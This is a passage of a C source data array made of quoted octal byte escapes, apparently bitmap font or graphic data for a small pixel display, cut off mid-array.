\"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\177\\177\\177\\177\\177\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60<xxp\\360\\340\\341\\341\\341\\341\\363\\177\\177\\77\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\36\\36\\17\\17\\17\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\77\\17\\7\\7\\3\\3\\7\\7\\17\\37\\77\\376\\374\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\374\\370\\360\\340\\340\\340\\340\\340\\360\\370\\374\\177\\77\\37\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\341\\341\\341\\341\\341\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\37\\77~\\374\\370\\360\\340\\300\\200\\0\\0\\6\\17\\37\\77~\\374\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\361\\373\\377\\177\\77\\37\\16\\0\\0\\0\\200\\300\\340\\361\\373\\377\\177\\77\"\n  \"\\37\\16\\0\\0\\0\\0\\0\\20\\70|~\\77\\17\\7\\3\\1\\0\\0\\0\\0\\20\\70|~\\77\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340pxx\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\360\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\77\\17\\3\\0\\0\\0\\0\\0\\200\\340\\360x\\374\\376\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\37\\7\\1\\0\\200\\300\\340\\370\\374\\236\\217\\207\\203\\200\\200\\377\\377\\377\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\10\\36\\37\\37\\7\\1\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340pxx\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\370\\360\"\n  \" \\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\77\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\177\\37\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\77\\17\\3\\0\\340\\360\\370x\\70\\34\\34\\34\\34\\34<\"\n  \"x\\360\\360\\300\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340p\"\n  \"|\\77\\37\\7\\0\\0\\0\\10\\36\\37\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\374\\376\\357\\347\\343\\341\\340\\340\"\n  \"\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70x<\\34\\16\\16\\16\\16\\16\\34<\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\370\\370\"\n  \"\\60\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70<~\\377\\347\\343\\300\\200\\0\\0\\0\\0\\200\\360\\374\\377\\177\\37\\7\\0\"\n  \"\\0\\0\\0\\0<|pp\\340\\340\\340\\340\\340\\360px\\177\\77\\37\\7\\200\\340\\370\\376\\377\\77\\17\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\37\\7\\1\\0\\0\\0\\0\\200\\300\\360x\\374\\376\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\77\\17\\3\\0\\0\\200\\300\\360\\370\\274\\237\\207\\203\\201\\200\\377\\377\\377\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\0\\14\\37\\77\\37\\7\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\"\n  \"\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\177\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\377\\77\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\376\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\376|\\70\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\341\\301\\3\\3\\3\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\3\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\3\\3\\3\\341\\301\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\3\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\3\\3\\1\\0\\0\\0\\340\\300\\0\\0\\1\\1\\3\\7\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\340\\300\\0\\1\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\177\\17\\1\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\340\\300\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\177\\17\\1\\3\\37\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\77\\377\\377\\377\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\"\n  \"\\377\\370\\300\\0\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\37<\\370\\370\\270<\\37\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\77\\7\\1\\17\\77\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\374\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\77<<<<<<<<<<<\\77\\77\\377\\377\\377\\374\\340\\200\"\n  \"\\0\\0\\0\\0\\340\\374\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\"\n  \"\\374\\340\\200\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\77\\7\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\"\n  \"\\36\\36\\36\\0\\0\\0\\340\\374\\377\\377\\377\\177xxxxxxxx\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\376\\77\\37\\17\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\77~\\376\"\n  \"\\374\\370\\360@\\0\\300\\374\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\376\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\"\n  \"\\374x\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\377\\377\\377\\307\\307\\307\\307\\203\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34<\\70\\70ppqqqqy\\77\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\301\\301\\303\\303\\303\\307\\307\\307\\301\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\303\\307\\307\\307\\303\\303\\301\\301\\301\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  